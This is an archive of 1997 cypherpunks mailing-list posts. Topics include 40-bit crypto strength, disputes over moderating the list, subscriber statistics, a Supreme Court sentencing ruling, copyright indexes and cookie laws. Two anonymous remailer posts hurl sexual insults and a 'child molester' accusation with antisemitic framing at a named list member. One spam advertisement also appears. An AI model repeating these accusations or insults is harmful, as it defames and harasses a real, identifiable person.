dictionary attack. The smarter approach means that the algorithm's
full key length gets used.

So, for example, you have 128 bit RC4 in which 88 bits are random but
disclosed while the remaining 40 bits are still secret.

The only practical problem is disclosure of the extra random bits,
which the government expects the software to do. This is one of the
uses of the big chunks of random data that host exchange in SSL V3.
In earler SSLs they built the disclosed bits right into the protocol,
an explicit field for disclosing part of the key.

Rick.
smith@sctc.com          secure computing corporation




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Tue, 7 Jan 1997 14:31:33 -0800 (PST)
To: jya@pipeline.com (John Young)
Subject: Re: FTC Online Privacy Report
In-Reply-To: <1.5.4.32.19970107133736.00682ea0@pop.pipeline.com>
Message-ID: <199701072247.QAA02872@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


> The Federal Trade Commission released yesterday:
>   The Federal Trade Commission, which last year held a conference 
>   on privacy issues, said participants at the gathering agreed that 
>   businesses have four ways to protect consumer privacy:
>   -- Notify consumers about how personal information collected online is
>   used.
>   -- Give consumers a choice about whether and how their personal
>   information is used.
>   -- Ensure the security of personal information is protected.
>   -- Give consumers access to their own personal information to ensure its
>   accuracy.

     Anyone willing to place a bet on how many companies will implement A,B, 
and D, and implement C so that it benefits the consumer, rather than just 
protects a valuable mailing list from theft? 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: express@capella.net
Date: Tue, 7 Jan 1997 13:44:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: NEW
Message-ID: <199701072150.QAA23479@capella.net>
MIME-Version: 1.0
Content-Type: text/plain


  THE FOX FIRES HAVE STARTED BURNING!

http://www.mlmers-ad-net.com/FoxTeam/Fox

FREE WEB PAGE AND CHECKS SENT OUT DAILY!

Let it begin,
John





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 7 Jan 1997 17:47:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: Zero-knowledge commit
Message-ID: <199701080058.QAA18393@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy C[retin] May the self-admitted child 
molester possesses a rudimentary dick less than 
one inch long, half the size of his mother's 
clitoris, that barely makes a fistful. Thereby 
hangs the root of this Jew-hating sissy's sick 
fixation on little boys and Usenet forgeries.

           .
           |___
          (}o o{)
       -ooO-(_)-Ooo- Timmy C[retin] May





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: miner <miner333@xroads.com>
Date: Tue, 7 Jan 1997 16:01:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [CRYPTO] Quadratic residues
Message-ID: <2.2.32.19970108000024.006cfb90@xroads.com>
MIME-Version: 1.0
Content-Type: text/plain


At 02:37 PM 1/7/97 -0500, Anonymous wrote:
>Timothy May's family tree goes straight up. All of his 
>ancestors were siblings, to dumb to recognize each other in the 
>dark.
>
>       /\ o-/\  Timothy May
>      ///\|/\\\
>     /   /|\   \

Counting the days till I don't have to see anymore of these, certainly a
product of one of the 3 people already in my killfile.

Thank you John and Sandy in advance





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Tue, 7 Jan 1997 14:52:49 -0800 (PST)
To: anonymous@miron.vip.best.com
Subject: Re: your mail
In-Reply-To: <199701071855.KAA05718@miron.vip.best.com>
Message-ID: <199701072308.RAA02919@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


> Citing a specific example, the DSB report said one building in Savannah, 
Ga., (a Bell South switching facility, FCW learned) houses not only a
> vital communications hub but information technology systems supporting 
key electric power and transportation companies. Because Savannah
> serves as a vital port of embarkation for Army troops based in that area, 
an IW attack against that one building would "make it impossible to
> deploy military forces at the pace specified in operations plans." 

     Then again so would a decent breifcase bomb. 
 
> These recommendations included a controversial call for the Pentagon to have 
the legal power to protect nongovernmental portions of the
                   ^^^^^^^

    Someone mispelled "Take Over". 

> infrastructure in the name of "the common defense." To defend DOD and i
critical nongovernmental systems against IW, the report recommends
> new legal authority that will allow "DOD, law enforcement and intelligence 
agencies to conduct efficient, coordinated monitoring of attacks on the
> critical civilian information infrastructure...." 

     I would bet that with the possible execption of TEMPEST (and I doubt
even then) private industry could do the job cheaper, and more thoroughly 
than the DOD.  
 
> In carving out a position for DOD to take on this role in the civil sector,i
the report bluntly summed up the problem: "We should not forget
> information warfare is a form of warfare, not a crime or an act of terror." 
It took an equally blunt approach on how the Pentagon should respond
> to such an attack or intrusion. "The response could entail civil or criminal 
prosecution, use of military force...diplomatic initiatives or economic
> mandates." 

      Seig Heil 


> to surviving willful malicious attack, or detecting and eliminating corrupt software." 

     As opposed to a benevolent attack? or maybe a friendly attack? 

> "For them to blatantly say, `We want to monitor,' that creates a huge problem," he said. "If the government says, `You don't worry, private sector,
> we're going to take care of you,' they're going to have a problem."

     Hmmm.... I must have taken a wrong turn somewhere. I thought this was 
america, land of the free. Can anyone give me directions on how to get there
from here...

Petro, Christopher C.
petro@suba.com <prefered for any non-list stuff>
snow@smoke.suba.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: owner-cypherpunks
Date: Tue, 7 Jan 1997 17:34:57 -0800 (PST)
Subject: Get Quick Results!
Message-ID: <19970108012628.AAG27235@Panton.delta.net>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 7 Jan 1997 21:11:05 -0800 (PST)
To: toto@sk.sympatico.ca
Subject: Re: Inflation-index bonds and private e-currency
In-Reply-To: <199701062213.XAA20921@internal-mail.systemics.com>
Message-ID: <32D2F907.2748@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Toto wrote:
> Gary Howland wrote:
> > But digital currencies will never become fiat currencies, let alone legal
> > tender, unless governments say they are.  So why should they worry?  (OK, OK,
> > they will worry about tax evasion etc. etc.) 
> Exactly. How can they claim, on one hand, that something does not
> qualify as currency, or as legal tender, and then turn around and tax
> it? If I have 10 Million UNITS that aren't considered to legally be of
> value, then I'm certainly not going to 'go easy' to tax court.
> Any currency that becomes sufficiently distributed and traded will
> find itself becoming a 'legal entity' in some form or another. Once it
> has been 'entityenized' (don't bother looking for that word in the
> dictionary), it will be a short step for it to achieve a quantifiable
> status among other currencies.  [snip]

One should always look at the Mike Milken example of an alternate
currency.  This has not been reported from this point of view in, say,
the NY Times that I know of, but some "underground" publications have
done so.

The Wall Street Cabal (as they say) was genuinely frightened that since
Milken was so successful with high-yield bonds, they deliberately created
the term Junk Bonds and flooded the markets with appropriate propaganda,
and thereby killed off their competition.  How they turned it into a
criminal offense is truly an art.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 7 Jan 1997 16:30:36 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Sandy and I will run a cypherpunks "moderation" experiment in Jan
In-Reply-To: <199701071926.NAA00355@manifold.algebra.com>
Message-ID: <FZN7ZD3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


This is an example of soc.culture.russian.moderated traffic.

This is what Armenian forgers want.

From: ivan@manifesto.nihonkai.jp (Ivan Zimogorov)
Newsgroups: soc.culture.russian,soc.culture.russian.moderated
Subject: Re: Where can I find extensions for Russian TeX?
Message-ID: <5535100AXW.0AXX091996@manifesto.Nihonkai.jp>
Date: Sun, 3 Nov 1996 18:16:18 CST
References: <199611032246.QAA13585@manifold.algebra.com>
Organization: Bacterial Bee Peekers
Lines: 38
Approved: SCRM Approval Key <scrm-approval-key@algebra.com>
X-SCRM-Policy: http://www.algebra.com/~ichudov/usenet/scrm/index.html
X-SCRM-Info-1: Send submissions to             scrm@algebra.com
X-SCRM-Info-2: Send technical complaints to    scrm-admin@algebra.com
X-SCRM-Info-3: Send complaints about policy to scrm-board@algebra.com
X-Comment: moderators do not necessarily agree or disagree with this article.
X-Robomod-Version: STUMP 1.1, by ichudov@algebra.com (Igor Chudov)
X-No-Archive: yes
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Auth: PGPMoose V1.1 PGP soc.culture.russian.moderated

(0) Go to your Linux CD, change directory to where your tex is;
(1) cd ./lib/texmf/mf; grep -i vulis *

  It should print out "cyrti.mf:% I wouldn't even know the real one
  existed were it not for Dimitri Vulis"

(2) you're on your own now :)

Igor Chudov <ichudov@algebra.com> wrote:
> -----BEGIN PGP SIGNED MESSAGE-----
>
> Newsgroups: soc.culture.russian,soc.culture.russian.moderated
> Subject: Where can I find extensions for Russian TeX?
> Date: Sun Nov  3 16:45:13 CST 1996
>
> subj sez it all.
>
> thank you
>
> igor
>
> -----BEGIN PGP SIGNATURE-----
> Version: 2.6.2
>
> iQCVAwUBMn0grMJFmFyXKPzRAQGG7gP/ZmD+zgkBXkM5l0dzwmi8kvwAdUbh5/uy
> /sCqBTvLVApgsgRKylnVp/lUvOhLW/pR0r3Oh4pFYFk3DT5aHtefAymxlBbcWQjP
> C+HC7NPricd0oRcwsUmNzVfcQ8ki5BujMvYLibbEu8cH7FxnSE7QxFheINGvovg5
> pTCOuuYz3UM=
> =aEEb
> -----END PGP SIGNATURE-----
>
                  _
                  /
Ivan Zimogorov, _/\_ pupil of deliverance


========================================= MODERATOR COMMENT
MOD: The right file is _usr_local_tex_texmf_doc_help_TeX-index . Thanks. Igor.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 7 Jan 1997 16:46:50 -0800 (PST)
To: cypherpunks@toad.com
Subject: Moderation and the Polymorphic Virus
Message-ID: <32D3044B.45D6@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Perhaps with proper moderation, having access to a cloistered
environment without all of the 'noise', cypherpunks will be able
to come up with a true polymorphic virus that will make the Atom
Bomb look like a child's toy.
  The rabble who rant on endlessly about 'social issues' can 
surely not be trusted to contribute anything of value on what
are, in fact, merely a question of 'numbers'.
  It is up the the elite, the code writers, to lead the cypher-
punks into a New World Order, in which the results of cryptography
are only used for proper, approved purposes.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 7 Jan 1997 16:46:53 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: A vote of confidence for Bending Over
In-Reply-To: <Pine.SUN.3.94.970106015521.18277A-100000@polaris>
Message-ID: <32D30781.3CC8@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn wrote:

> 2. The only possible scheme that could work long-term would be a moderated
>    list plus a deleted (excised?) list of posts which didn't make the
>    moderator's cut.

Dale,
 I love your attitude, and I enjoy many of your posts.  I also love
being
able to laugh at you for getting sucked into the oldest trick in the
book.
 In the ruins of Rome, you will find a Chariot Dealership which sold
both
Pontiac and Chevy Chariots. Once they had you on their sales lot, they 
would attempt to get you sucked into a mindset where your choices were
limited to choosing between 'their' chariots.
  Our political sytem is a grand 'play' in which the Democrats and the
Republicans 'contend' to see who gets to slip us the cold, hard one.
The bottom line, is that what is dripping out of your butt is either
a Democrat's sperm and a Republican's saliva, or vice-versa.

>    Having a moderated list and a full unmoderated list
>    is certain to fail, and I'm not too sure that they don't have this in
>    mind already.

  Have I misjudged you?
  Could it possibly be that you can still hear the small whisper in the 
wind that warns you that it's all done with mirrors?
  "Believe nothing of what you hear, only half of what you see, and if
you
meet the Buddha on the road, kill him!"
   Bubba Rom Dos

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Black Unicorn <unicorn@schloss.li>
Date: Tue, 7 Jan 1997 15:35:57 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <32D1E39F.44A9@gte.net>
Message-ID: <Pine.SUN.3.94.970107183351.8693B-100000@polaris>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 6 Jan 1997, Dale Thorn wrote:

> You must be in bed with Sandfort.

Disappointed?

--
Forward complaints to : European Association of Envelope Manufactures
Finger for Public Key   Gutenbergstrasse 21;Postfach;CH-3001;Bern
Vote Monarchist         Switzerland





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Tue, 7 Jan 1997 18:47:30 -0800 (PST)
To: cypherpunks@toad.com
Subject: If guilty of a lesser crime, you can be sentenced for a greater
Message-ID: <Pine.GSO.3.95.970107184550.4939C-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




---------- Forwarded message ----------
Date: Tue, 7 Jan 1997 18:44:07 -0800 (PST)
From: Declan McCullagh <declan@well.com>
To: fight-censorship@vorlon.mit.edu
Subject: If guilty of a lesser crime, you can be sentenced for a greater

The Supreme Court ruled on this sentencing case yesterday. Kennedy and
Stevens -- hardly known as civil libertarians -- dissented. The Court
reversed the 9th Circuit, ruling the lower court was wrong to say that
such a practice "would make the jury's findings of fact pointless." The
court declared: "Sentencing enhancements do not punish a defendant for
crimes of which he was not convicted, but rather increase his sentence
because of the manner in which he committed the crime of conviction."

Double jeopardy? What's that?

Of course it was a drug crime. The defendant, Vernon Watts, was convicted
of cocaine possession with intent to distribute. To paraphrase another
saying: "'Drug Trafficking Offense' is the root passphrase to the
Constitution."

-Declan

---------- Forwarded message ----------
Date: Tue, 7 Jan 1997 17:41:35 -0800
From: Jim Warren <jwarren@well.com>
Sender: owner-fight-censorship@vorlon.mit.edu

Did you read about the U.S. Supreme Court's recent decision?

Seems they decided it was acceptable for a judge to use crimes for which a
jury has found a defendent *NOT guilty*, to justify imposing greater
penalties than the judge could otherwise, for a lesser crime for which the
jury found the defendent guilty.  (It's quite common to prosecute someone
for multiple crimes, and have the jury find them innocent of some charges,
but guilty of others.) 

Now, all a judge has to do is opine that, in his or her unilateral opinion,
there is a "preponderance of evidence" of guilt of the more serious crime
-- in spite of the unanimous finding by every member of the jury, that the
defendent is NOT guilty of that crime, beyond a reasonable doubt.

The Supreme's *unsigned* 7-2 opinion says than a finding of NOT guilty,
"does not prove that the defendent is innocent; it *merely* proves the
esistence of a reasonable doubt as to his guilt."  [I.e., all U.S. citizens
now risk being penalized as theough they are guilty, unless they can PROVE
they're innocent!]


Much worse, the basis for *criminal* guilt and associated penalties --
charged, prosecuted and imposed using the massive powers and resources of
the State -- has now functionally changed from proof "beyond a reasonable
doubt," to the much lesser standard of, "preponderance of evidence," which
used to be limited only to civil litigation prosecuted between private
attorneys for feuding plaintiffs.

Who says the practices of the Third Reich didn't survive!?

--jim, Amerikan citizen
Jim Warren (jwarren@well.com)
GovAccess list-owner/editor, advocate & columnist (Govt.Technology, MicroTimes)
345 Swett Rd., Woodside CA 94062; voice/415-851-7075; fax-for-the-quaint/<ask>

[Also blind-cc'ed to others.]








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 7 Jan 1997 21:11:55 -0800 (PST)
To: cypherpunks@toad.com
Subject: [STATS] Cypherpunks subscriptions on and off
Message-ID: <32D30EFB.5F8@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


The following table shows cypherpunks subscription activity
for the period 12 Oct 1996 thru 07 January 1996.

Date    ~Days   #Subs   Gain   Loss   Gain / day   Loss / day
-----   -----   -----   ----   ----   ----------   ----------
10/12     n/a    1361    n/a    n/a          n/a          n/a
11/04      23    1353    211    219          9.2          9.5
11/30      26    1299    173    227          6.7          8.7
12/18      18    1262    120    157          6.7          8.7
01/07      20    1291    151    122          7.6          6.1
        -----   -----   ----   ----   ----------   ----------
Totals:    87            655    725          7.5          8.3

Interpretation:

Unless the reversal of gain/loss in the 5th data row is permanent,
c-punks are losing 0.8 bodies per day, or 294 subscribers per year.

Actually, the constant high turnover suggests something else:
Many people join the list and get back off again due to the high
volume and their own personal time constraints.  Unless Sandy can
cut *way* back on the number of posts to the list, i.e. excise a *lot*
more postings than just the blatant Spam and "Timmy is a....." posts,
it won't make any difference to those people who come and go.

In effect, Sandy is going to have to cut the number of daily posts
(to the moderated list) from, say, 100 per day down to, say, 20 or
25 per day.  This would certainly be a goal of his, since most of the
subscriber comments I've heard indicate that even 50 posts per day of
"relevant political/social commentary" is way too high for them.

As to the net loss in subscribers, the moderation of the list could
have a substantial effect on the number of subscribers short-term,
but whatever trend we have here will continue regardless, since the
real value and character of the list is not determined by the posts
which are removed (unless it were that some of the character and value
is going to be removed), but by long-term factors which are to be
expected when the principals get older, less involved, and less
contentious (like Sandy, wanting to avoid conflict).






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 7 Jan 1997 21:31:40 -0800 (PST)
To: anonymous@miron.vip.best.com
Subject: Re: Information Warfare
In-Reply-To: <199701071855.KAA05718@miron.vip.best.com>
Message-ID: <32D321CB.463B@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


anonymous@miron.vip.best.com wrote:
> NOVEMBER 11, 1996 
> INFORMATION WARFARE
> U.S. sitting duck, DOD panel predicts
> BY BOB BREWIN AND HEATHER HARRELD (antenna@fcw.com and heather_harreld@fcw.com)
> 
> The dependence of the United States on computers and communications systems to run 
> its critical power, finance and transportation systems
> places the country at risk in the event of an information warfare (IW) attack, 
> according to a report prepared by a top-level Defense Department
> advisory panel.

  Sounds like we're going to need some strong legislation and
restrictive 
regulations to deal with this problem...

> These recommendations included a controversial call for the Pentagon to 
> have the legal power to protect nongovernmental portions of the
> infrastructure in the name of "the common defense."

  Hey, am I goddamn psychic, or what?

> To defend DOD and critical nongovernmental systems against IW, the report
> recommends new legal authority that will allow "DOD, law enforcement and
> intelligence agencies to conduct efficient, coordinated monitoring of 
> attacks on the critical civilian information infrastructure...."

  Moderation of the CypherPunks forum is a start. Let's just hope that
it doesn't stop there.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 7 Jan 1997 18:07:19 -0800 (PST)
To: cypherpunks@toad.com
Subject: Fed Study on Identity Theft
Message-ID: <v03007860aef8a8e2c333@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Date: Tue, 7 Jan 1997 18:59:00 -0500 (EST)
To: Multiple Recipients of e$pam <e$pam@intertrader.com>
From: e$pam@intertrader.com (e$pam)
Reply-To: e$@thumper.vmeng.com
X-Comment: To unsubscribe, send any email to e$pam-off@intertrader.com
Precedence: Bulk
Subject: Fed Study on Identity Theft
X-orig-from: jmuller@brobeck.com (John D. Muller)
X-e$pam-source: Various

Forwarded by Robert Hettinga

-----------------------------------------------------------------------
Mime-Version: 1.0
 Date: Tue, 7 Jan 1997 12:00:09 -0800
 From: jmuller@brobeck.com (John D. Muller)
 Subject: Fed Study on Identity Theft
 To: rah@shipwright.com


     I unsubscribed from e$pam over the holidays, so this item may already
      have been on, but if not it might be of interest:

      As required by legislation passed last year (partly in response to the
      P-TRAK fiasco), the Fed is required to study whether institutions that
      are not subject to the Fair Credit Reporting Act are making sensitive
      personal identifying information available to the public, whether such
      information creates undue potential for fraud and for risk of loss to
      banks, and whether legislation is needed to address the risk of fraud
      and loss.  The Fed has recently published a request for comments on
      these issues.  Comments are due by January 31.  The Fed release is at

      http://www.bog.frb.fed.us/boarddocs/press/BoardActs/1996/19961223



      Have a happy, prosperous and reputation-enhancing 1997.



--------------------------------------------------
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--- end forwarded text



-----------------
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"The cost of anything is the foregone alternative" -- Walter Johnson
The e$ Home Page: http://www.vmeng.com/rah/
FC97: Anguilla, anyone? http://offshore.com.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 7 Jan 1997 21:31:49 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Mein Kampf/Cypherpunks
In-Reply-To: <0k46ZD2w165w@bwalk.dm.com>
Message-ID: <32D32318.2D08@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:

> Yes - have you read _Mein Kampf? I once posted an article showing a
> great similarity between what Hitler advocated in 1926 and what the
> "cypher punks" advocate now - just some quotes in parallel.

Doc,
 If you still have a copy of that, I would appreciate it if you could
forward a copy to me.
  (I just checked my paranoia level, and I'm a quart low.)

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: anonymous@miron.vip.best.com
Date: Tue, 7 Jan 1997 21:05:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: re: Free Money!
Message-ID: <199701080457.UAA09570@miron.vip.best.com>
MIME-Version: 1.0
Content-Type: text/plain


Thanks for the dough!

I just love cyber technology.  Will spend it wisely.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 7 Jan 1997 21:31:59 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: At the risk of getting flamed :)
In-Reply-To: <uqT6ZD13w165w@bwalk.dm.com>
Message-ID: <32D32AFD.4ECA@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> I find it indicative that what I call outing a well-known and widely 
> abused security hole, you call abuse.

  The CyberDweebs at plaidworks.com also seemed to take great offense
at my pointing out that what they called 'loopholes' in their system
was actually a conscious, calculated decision to leave their system
open to abuse so that every computer-illiterate Laker fan named 
Bubba could use his two-fingered typing skills to subscribe to
1,000 sports lists.

> I also happen to have done a lot to bring
> computer networks and privacy technology to places and people who still
> wouldn't have had it otherwise - perhaps more than any "cypher punk".

  Much of what you do goes unnoticed, due to the fact that many who 
make the same claims put you in their killfile.  It seems that they 
are only in favor of 'politically correct' technology, without any
social issues input or commentary.

> I think Dale Thorn hit the nail right on the head when he described "cypher
> punks" as security people.  They want privacy
> technology only for their paying customers, and only if the customers
> use it "responsibly", i.e. don't say something the 'punks find objectionable.

  I've attended punk-rock concerts where some of the 'punks' complained
loudly and vociferously about the slam-dancers.
  "Hey, that guy 'bumped' me."
  "Somebody could get hurt."
  "Who do they think they are?"  ('Punks", perhaps?)

> People who voluntarily submit to censorship by Sandy deserve pity.

  Or deserve 'censorship'.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (Anonymous)
Date: Tue, 7 Jan 1997 18:18:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: Free Money!
Message-ID: <199701080218.VAA14717@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN ECASH PAYMENT-----

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dwSeBrz53Kam87Sini1LC7vVmhIdEo+QgQShoaE=
-----END ECASH PAYMENT-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 7 Jan 1997 21:29:24 -0800 (PST)
To: Black Unicorn <unicorn@schloss.li>
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <Pine.SUN.3.94.970107183351.8693B-100000@polaris>
Message-ID: <32D3304F.4E22@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Black Unicorn wrote:
> On Mon, 6 Jan 1997, Dale Thorn wrote:
> > You must be in bed with Sandfort.

> Disappointed?

Not really.  I saw the pictures of his last party.  He's kinda creepy
looking.  OK for Hollywood, probably.

I'm beginning to wonder if Sandfort is taking over Gilmore's identity.
Not that I believe any of the rumours, it's just that there are peculiar
things happening at the Toad lately....





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 7 Jan 1997 21:41:59 -0800 (PST)
To: Douglas Barnes <cman@c2.net>
Subject: Re: Thoughts on moderation
In-Reply-To: <3.0.32.19970107152545.00e858bc@gabber.c2.net>
Message-ID: <32D3334B.7FD9@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Douglas Barnes wrote:
> Goodness knows most people who are fully engaged in a mailing list
> get involved in an unproductive discussion or argument from time to
> time. My main assertion about Sandy is that although he has his likes
> and dislikes (and is not shy about sharing them) I can't see him
> bouncing messages just because someone was disagreeing with him. There
> might be someone who is less opinionated, but I think that you need
> to find someone who cares enough about a subject to be interested in
> moderating it (one antonym of "opinionated" is "dispassionate" --
> think about it.)
> The only way to tell if Sandy will be fair _as a moderator_ is to
> give him a chance.  [snip]

Gee, Doug.  You think he's fair and I don't.  Is that enough consensus
to say "let's give it a shot"?  I don't think so.

Moot point anyway, since there was no prior discussion on the list.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Tue, 7 Jan 1997 22:56:36 -0800 (PST)
To: Vin McLellan <cypherpunks@toad.com
Subject: Re: Relative Strength of 40-bit Crypto Implementations
In-Reply-To: <3.0.32.19970107003544.006c2808@192.100.81.126>
Message-ID: <v03007821aef8e73f9440@[207.93.129.86]>
MIME-Version: 1.0
Content-Type: text/plain


At 01:29 AM 1/7/97 -0500, Vin McLellan wrote:
>	A client asked me today about where he could find evidence of the
>relative strength of different encryption algorithms, when all are
>restricted to 40-bit keys.  He assumed dot-Gov was going to restrict his
>export product to the 40-bit limit, but he wanted to provide the strongest
>security he could within that limitation.

A cypher with a long key setup schedule, such as Blowfish, would be more
resistant to brute force attacks.  (Blowfish requires 500+ encryptions to
set up the key schedule.  This should be similar to adding 9 bits to the
key size.)  While I think Blowfish is good in this respect, one must be
careful to avoid systems, such as DES, which are subject to Peter Trei's
"gray code" techniques.


-------------------------------------------------------------------------
Bill Frantz       | Client in California, POP3 | Periwinkle -- Consulting
(408)356-8506     | in Pittsburgh, Packets in  | 16345 Englewood Ave.
frantz@netcom.com | Pakistan. - me             | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Tue, 7 Jan 1997 22:03:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: Copyright loophole?
Message-ID: <199701080602.WAA21277@netcom18.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


While doing research at a law library, I came across what appears to be a
legal loop-hole in the copyright law.  It seems a famous author's publisher
had a substantial number of unbound and unsold copies of his works sitting
around.  Another publisher purchased them from his publisher, without the
author's knowledge, and printed an anthology which included an index which
was not part of the purchased (copyrighted) items.

In Kipling vs. G.P. Putnam & Sons (1903, CA2 NY) 120 F 631, the 2nd circuit
found that (from 17 USCS § 501) "Publication of an index to accompany
copyrighted volume of author's work although containing words and phrases
found in text, does not constitute infringement."  From the original
opinion: "They were also at liberty to make and publish an index contained
in their volumes even though the index, as necessary must, contain words
and phrases found in the text."

Q1: Could this decision (which has stood since 1903) support the creation,
storage and distribution of "standalone" on-line indicies to copyrighted
works without infringement?  (I could not find a direct reference to
"fair-use" in the portion of the opinion referencing the index nor a
related ruling, using the 1976 Copyright Act, which overturned the "index'
provision.)

Q2: How much content can an index contain and still not infringe?

Q3: What would be the legal standing of these indicies, or several
unrelated "indexes", if they can jointly (but not separately) be used to
reconstitute the original copyright work by a private citizen?  (Anonymous
index posting, especially via a Ross Anderson style Eternity Service, might
"practically" circumvent government enforcement.)

-- Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 7 Jan 1997 22:08:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: What about postscript?
Message-ID: <199701080608.WAA05560@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


What if somebody wanted to publish the source code of an encryption
program in book form, but make the book dowloadable freely from an ftp site
using postscript or PDF format. Surely, the government will be
hard pressed to argue the difference between paper media and electronic
media here, since the files downloaded cannot be used to encrypt
or decrypt data, without somebody first typing in the source.

Maybe MIT or PGP should convert at least part of the PGP book
into postscript and then request Commerce Department clearance to
make it publically available. That should make for a nice court battle.

If somebody argues that sophisticated programs can extract the text out of
postscript files, what about providing JPEG images of pages of the book?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Tue, 7 Jan 1997 19:05:23 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: Re: Germany Passes Sweeping Cyberspace Legislation 01/06/97 (fwd)
In-Reply-To: <199701070452.UAA23628@netcom11.netcom.com>
Message-ID: <Pine.LNX.3.95.970107220244.291A-100000@eclipse.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Mon, 6 Jan 1997 wb8foz@netcom.com wrote:

> The law also prohibits the use of "cookies," software applets that
> trace a user's path across the Internet and recording the data they
> view.
> 
> 	This is, to me!

I haven't had time to search for any more information on the law, but if this
law bans _all_ cookies, then this is just another example of the technological
cluelessness that exists in various governments.  I don't agree with any
restrictions on cookies, but if there are going to be any, then the least they
could do is allow cookies if the HTML page indicates somewhere on it that it
is sending a cookie.  This would prevent companies like "Doubleclick" from
gathering information, but would permit "legitimate" uses.


Mark
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Tue, 7 Jan 1997 22:58:19 -0800 (PST)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: Sandy and I will run a cypherpunks "moderation" experiment  in Jan
In-Reply-To: <3.0.32.19970107164034.006b6044@mail.io.com>
